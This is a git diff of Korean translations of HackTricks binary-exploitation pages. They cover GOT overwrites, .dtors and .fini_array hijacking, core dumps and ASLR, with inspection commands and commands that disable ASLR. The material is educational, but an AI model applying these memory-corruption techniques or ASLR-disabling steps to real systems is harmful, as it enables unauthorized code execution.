![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) ![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
GEF를 사용하여 **디버깅 세션을 시작**하고 **`got`**을 실행하여 got 테이블을 볼 수 있습니다: GEF를 사용하여 **디버깅** 세션을 **시작하고** **`got`**를 실행하여 GOT 테이블을 볼 수 있습니다:
![](<../../../.gitbook/assets/image (621).png>) ![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec ### GOT2Exec
바이너리에서 GOT에는 **함수의 주소 또는** 함수 주소를 로드할 **PLT** 섹션이 있습니다. 이 임의 쓰기의 목표는 나중에 **실행될 함수의 GOT 항목을 덮어쓰는 것**입니다. 예를 들어 **`system`** 함수의 **PLT 주소**로 덮어쓰는 것입니다. 바이너리에서 GOT**함수의 주소** 또는 **PLT** 섹션의 주소를 가지고 있습니다. 이 임의 쓰기의 목표는 **나중에 실행될 함수의 GOT 항목을** **`system`** **함수의 PLT 주소로 덮어쓰는 것입니다**.
이상적으로, **제어할 수 있는 매개변수로 호출될 함수의 GOT**를 **덮어쓸 것**입니다 (따라서 시스템 함수로 전송되는 매개변수를 제어할 수 있게 됩니다). 이상적으로는, **당신이 제어하는 매개변수로 호출될 함수의 GOT를 덮어써야 합니다** (그래야 시스템 함수에 전달되는 매개변수를 제어할 수 있습니다).
**`system`****스크립트에서 사용되지 않으면** 시스템 함수에는 PLT 항목이 **없을 것**입니다. 이 시나리오에서는 먼저 `system` 함수의 주소를 누출하고 그 주소를 가리키도록 GOT를 덮어쓸 필요가 있습니다. **`system`** **이 스크립트에서 사용되지 않는 경우**, 시스템 함수는 **PLT에** 항목이 없습니다. 이 시나리오에서는 **먼저 `system` 함수의 주소를 누출한 다음** GOT를 덮어써서 이 주소를 가리키게 해야 합니다.
**`objdump -j .plt -d ./vuln_binary`**로 PLT 주소를 볼 수 있습니다. PLT 주소는 **`objdump -j .plt -d ./vuln_binary`**로 확인할 수 있습니다.
## **One Gadget** ## **원가젯**
{% content-ref url="../one-gadget.md" %} {% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
## **보호 기능** ## **보호**
**Full RELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 **GOT 테이블을 읽기 전용**으로 만들어 이러한 기술에 대한 보호를 제공합니다: **전체 RELRO** 보호는 바이너리가 시작될 때 모든 함수의 주소를 해결하고 그 후에 **GOT 테이블을 읽기 전용**으로 만들어 이러한 종류의 기술을 방어하기 위해 설계되었습니다:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md) [relro.md](../common-binary-protections-and-bypasses/relro.md)
{% endcontent-ref %} {% endcontent-ref %}
## 참고 자료 ## 참고 문헌
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
* **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 **공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,42 +1,43 @@
# AWS2Exec - .dtors & .fini\_array # AWS2Exec - .dtors & .fini\_array
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
</details> </details>
{% endhint %}
## .dtors ## .dtors
{% hint style="danger" %} {% hint style="danger" %}
현재는 **.dtors 섹션을 포함한 이진 파일을 찾기가 매우 이상합니다**. 요즘은 **.dtors 섹션이 있는 바이너리를 찾는 것이 매우 이상합니다**.
{% endhint %} {% endhint %}
소멸자는 **프로그램이 종료되기 전에 실행되는 함수**입니다 (`main` 함수가 반환된 후).\ 소멸자는 프로그램이 **끝나기 전에 실행되는 함수**입니다 ( `main` 함수가 반환된 후).\
러한 함수들의 주소는 이진 파일**`.dtors`** 섹션에 저장되어 있으며, 따라서 **`__DTOR_END__`**에 **쉘코드 주소를 쓰면** 프로그램이 종료되기 전에 **실행**됩니다. 함수들의 주소는 바이너리**`.dtors`** 섹션에 저장되며, 따라서 **`__DTOR_END__`**에 **주소**를 **shellcode**로 **쓰기**에 성공하면, 프로그램이 끝나기 전에 **실행됩니다**.
다음 명령을 사용하여 이 섹션의 주소를 가져옵니다: 이 섹션의 주소를 얻으려면:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
일반적으로 **DTOR** 마커는 `ffffffff``00000000` 값 사이에 있습니다. 따라서 이 값만 보인다면 **등록된 함수가 없다는 것**을 의미합니다. 그래서 **`00000000`**을 **쉘코드의 주소**로 **덮어쓰세요**. 보통 **DTOR** 마커는 `ffffffff``00000000`**사이**에서 찾을 수 있습니다. 따라서 이러한 값을 보면 **등록된 함수가 없다는** 의미입니다. 그러므로 **`00000000`**을 **실행할 shellcode의 주소**로 **덮어씌우십시오**.
{% hint style="warning" %} {% hint style="warning" %}
물론, 나중에 호출하기 위해 **쉘코드를 저장할 곳을 먼저 찾아야**니다. 물론, 먼저 **shellcode를 저장할 장소**를 찾아야 나중에 호출할 수 있습니다.
{% endhint %} {% endhint %}
## **.fini\_array** ## **.fini\_array**
이것은 프로그램이 종료되기 전에 호출되는 **함수들이 포함된 구조**입니다. **`.dtors`**와 마찬가지로 **주소로 점프하여 쉘코드를 호출**하거나 **취약점을 두 번째로 이용하기 위해 다시 `main`으로 돌아가야 하는 경우**에 흥미로울 수 있습니다. 본질적으로 이것은 프로그램이 종료되기 전에 **호출될 함수들**로 구성된 구조체입니다. 이는 **`.dtors`**와 유사합니다. 주소로 점프하여 **shellcode를 호출**할 수 있거나, **취약점을 두 번째로 악용하기 위해 다시 `main`으로 돌아가야 하는** 경우에 흥미롭습니다.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -47,22 +48,23 @@ Contents of section .fini_array:
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
**주의**하십시오. 이것은 **영원한 루프**를 **생성하지 않습니다**. 왜냐하면 main으로 돌아가면 canary가 감지하고, 스택의 끝이 손상될 수 있고 함수가 다시 호출되지 않을 수 있습니다. 따라서 이를 통해 취약점을 **1번 더 실행**할 수 있습니다. Note that this **won't** **create** an **eternal loop** because when you get back to main the canary will notice, the end of the stack might be corrupted and the function won't be recalled again. So with this you will be able to **have 1 more execution** of the vuln.
{% hint style="danger" %} {% hint style="danger" %}
[Full Relro](../common-binary-protections-and-bypasses/relro.md)로 설정된 경우, 섹션 `.fini_array`는 **읽기 전용**으로 만들어집니다. Note that with [Full RELRO](../common-binary-protections-and-bypasses/relro.md), the section `.fini_array` is made **read-only**.
{% endhint %} {% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# 일반적인 이진 보호 기능 # 일반 바이너리 보호
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **당신의 해킹 기술을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details> </details>
{% endhint %}
## 코어 파일 활성화 ## 코어 파일 활성화
**코어 파일**은 프로세스가 충돌할 때 운영 체제에서 생성하는 파일 유형입니다. 이러한 파일은 충돌한 프로세스의 메모리 이미지를 캡처하며, 프로세스의 메모리, 레지스터, 프로그램 카운터 상태 등이 포함됩니다. 이 스냅샷은 디버깅 및 충돌 발생 이유를 이해하는 데 매우 유용할 수 있습니다. **코어 파일**은 프로세스가 충돌할 때 운영 체제가 생성하는 파일의 일종입니다. 이 파일은 프로세스 종료 시점의 메모리 이미지를 캡처하며, 프로세스의 메모리, 레지스터 및 프로그램 카운터 상태 등 여러 세부 정보를 포함합니다. 이 스냅샷은 디버깅 및 충돌 원인 이해에 매우 유용할 수 있습니다.
### **코어 덤프 생성 활성화** ### **코어 덤프 생성 활성화**
기본적으로 많은 시스템은 코어 파일의 크기를 0으로 제한하여 (다시 말해, 코어 파일을 생성하지 않음) 디스크 공간을 절약합니다. 코어 파일 생성을 활성화하려면 `ulimit` 명령어(배시 또는 유사한 쉘에서)를 사용하거나 시스템 전체 설정을 구성할 수 있습니다. 기본적으로 많은 시스템은 디스크 공간을 절약하기 위해 코어 파일의 크기를 0으로 제한합니다(즉, 코어 파일을 생성하지 않음). 코어 파일 생성을 활성화하려면 `ulimit` 명령(배시 또는 유사한 셸에서 사용) 또는 시스템 전체 설정을 구성할 수 있습니다.
* **ulimit 사용**: `ulimit -c unlimited` 명령어를 사용하면 현재 쉘 세션에서 무제한 크기의 코어 파일을 생성할 수 있습니다. 이는 디버깅 세션에 유용하지만 부팅이나 새 세션 간에 지속되지 않습니다. * **ulimit 사용하기**: `ulimit -c unlimited` 명령은 현재 셸 세션이 무제한 크기의 코어 파일을 생성할 수 있도록 합니다. 이는 디버깅 세션에 유용하지만 부팅이나 새로운 세션 간에 지속되지 않습니다.
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
* **지속적인 구성**: 더 영구적인 해결책으로, `/etc/security/limits.conf` 파일을 편집하여 `* soft core unlimited`와 같은 줄을 추가할 수 있습니다. 이는 모든 사용자가 세션에서 ulimit을 수동으로 설정하지 않고 무제한 크기의 코어 파일을 생성할 수 있도록 합니다. * **지속적인 구성**: 보다 영구적인 솔루션을 위해 `/etc/security/limits.conf` 파일을 편집하여 `* soft core unlimited`와 같은 줄을 추가할 수 있습니다. 이는 모든 사용자가 세션에서 수동으로 ulimit를 설정하지 않고도 무제한 크기의 코어 파일을 생성할 수 있도록 합니다.
```markdown ```markdown
* soft core unlimited * soft core unlimited
``` ```
### **GDB를 사용하여 코어 파일 분석하기** ### **GDB 코어 파일 분석하기**
코어 파일을 분석하려면 GDB( GNU 디버거)와 같은 디버깅 도구를 사용할 수 있습니다. 실행 파일이 코어 덤프를 생성하고 코어 파일의 이름이 `core_file`인 경우 다음과 같이 분석을 시작할 수 있습니다: 코어 파일을 분석하려면 GDB(GNU 디버거)와 같은 디버깅 도구를 사용할 수 있습니다. 코어 덤프를 생성한 실행 파일이 있고 코어 파일 이름이 `core_file`이라고 가정하면, 다음과 같이 분석을 시작할 수 있습니다:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
이 명령은 실행 파일과 코어 파일을 GDB에로드하여 충돌 시점의 프로그램 상태를 검사할 수 있게 합니다. GDB 명령을 사용하여 스택을 탐색하고 변수를 검사하며 충돌 원인을 이해할 수 있습니다. 이 명령은 실행 파일과 코어 파일을 GDB에 로드하여 프로그램이 충돌할 당시의 상태를 검사할 수 있게 해줍니다. GDB 명령을 사용하여 스택을 탐색하고, 변수를 검사하며, 충돌의 원인을 이해할 수 있습니다.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 PDF 형식의 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,65 +1,67 @@
# ASLR # ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong>!</summary> <summary>Support HackTricks</summary>
다른 방법으로 HackTricks를 지원하는 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
**Address Space Layout Randomization (ASLR)**는 운영 체제에서 사용되는 보안 기술로, 시스템 및 응용 프로그램 프로세스에서 사용하는 **메모리 주소를 무작위로 변경**합니다. 이렇게 함으로써 특정 프로세스 및 데이터의 위치를 예측하는 것이 훨씬 어려워지며, 스택, 힙 및 라이브러리와 같은 특정 유형의 공격을 완화시킵니다. **주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 **시스템 및 애플리케이션 프로세스**가 사용하는 메모리 주소를 무작위화하는 보안 기술입니다. 이를 통해 공격자가 특정 프로세스와 데이터(예: 스택, 힙 및 라이브러리)의 위치를 예측하기가 훨씬 더 어려워지며, 특정 유형의 익스플로잇, 특히 버퍼 오버플로우를 완화합니다.
### **ASLR 상태 확인** ### **ASLR 상태 확인**
Linux 시스템에서 ASLR 상태를 **확인**하려면 `/proc/sys/kernel/randomize_va_space` 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다: Linux 시스템에서 **ASLR 상태를 확인**하려면 `/proc/sys/kernel/randomize_va_space` 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:
* **0**: 무작위화 없음. 모든 것이 정적입니다. * **0**: 무작위화 없음. 모든 것이 정적입니다.
* **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다. * **1**: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
* **2**: 완전 무작위화. 보수적인 무작위화에 의해 무작위화된 요소에 추가하여 `brk()`를 통해 관리되는 메모리가 무작위화됩니다. * **2**: 완전 무작위화. 보수적인 무작위화에 의해 무작위화된 요소 외에도 `brk()`를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령을 사용하여 ASLR 상태를 확인할 수 있습니다: 다음 명령어로 ASLR 상태를 확인할 수 있습니다:
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **ASLR 비활성화** ### **ASLR 비활성화**
ASLR를 **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR를 비활성화하는 것은 일반적으로 테스트 또는 디버깅 시나리오 이외에는 권장되지 않습니다. 다음은 비활성화하는 방법입니다: ASLR를 **비활성화**하려면 `/proc/sys/kernel/randomize_va_space`의 값을 **0**으로 설정합니다. ASLR 비활성화는 일반적으로 테스트나 디버깅 시나리오 외에서는 권장되지 않습니다. ASLR을 비활성화하는 방법은 다음과 같습니다:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
ASLR를 실행 중에 비활성화할 수도 있습니다: You can also disable ASLR for an execution with:
ASLR를 비활성화하여 실행할 수도 있습니다:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **ASLR 활성화** ### **ASLR 활성화**
ASLR**활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 작성할 수 있습니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령 사용할 수 있습니다: ASLR**활성화**하려면 `/proc/sys/kernel/randomize_va_space` 파일에 **2** 값을 기록하면 됩니다. 일반적으로 루트 권한이 필요합니다. 전체 무작위화를 활성화하려면 다음 명령어를 사용할 수 있습니다:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **부팅 간 지속성** ### **부팅 간 지속성**
`echo` 명령으로 만든 변경 사항은 일시적이며 재부팅시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하 다음 줄을 추가하거나 수정해야 합니다: `echo` 명령어로 변경한 내용은 일시적이며 재부팅 시 초기화됩니다. 변경 사항을 지속적으로 유지하려면 `/etc/sysctl.conf` 파일을 편집하 다음 줄을 추가하거나 수정해야 합니다:
```tsconfig ```tsconfig
kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
kernel.randomize_va_space=0 # Disable ASLR kernel.randomize_va_space=0 # Disable ASLR
``` ```
`/etc/sysctl.conf` 파일을 편집한 후 다음을 사용하여 변경 사항을 적용하십시오: `/etc/sysctl.conf`를 편집한 후, 다음 명령어로 변경 사항을 적용합니다:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
이렇게 하면 ASLR 설정이 다시 부팅되어도 유지됩니다. This will ensure that your ASLR settings remain across reboots.
## **우회 방법** ## **우회 방법**
@ -67,48 +69,48 @@ sudo sysctl -p
PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다: PaX는 프로세스 주소 공간을 **3 그룹**으로 나눕니다:
* **코드와 데이터** (초기화된 및 초기화되지 않은): `.text`, `.data`, 및 `.bss` —> `delta_exec` 변수에서 **16비트**의 엔트로피. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 추가됩니다. * **코드와 데이터** (초기화된 것과 초기화되지 않은 것): `.text`, `.data`, 그리고 `.bss` —> `delta_exec` 변수에서 **16 비트**의 엔트로피. 이 변수는 각 프로세스와 함께 무작위로 초기화되며 초기 주소에 추가됩니다.
* `mmap()`에 의해 할당된 **메모리****공유 라이브러리** —> **16비트**, `delta_mmap`이라고 함. * `mmap()`에 의해 할당된 **메모리**와 **공유 라이브러리** —> **16 비트**, `delta_mmap`이라고 불립니다.
* **스택** —> **24비트**, `delta_stack`이라고 함. 그러나 실제로 **11비트**를 사용합니다 (10번째부터 20번째 바이트까지 포함), **16바이트**에 정렬됨 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다. * **스택** —> **24 비트**, `delta_stack`이라고 합니다. 그러나 실제로는 **11 비트**를 사용합니다 (10번째 바이트부터 20번째 바이트까지 포함), **16 바이트**에 정렬됩니다 —> 이로 인해 **524,288개의 가능한 실제 스택 주소**가 생성됩니다.
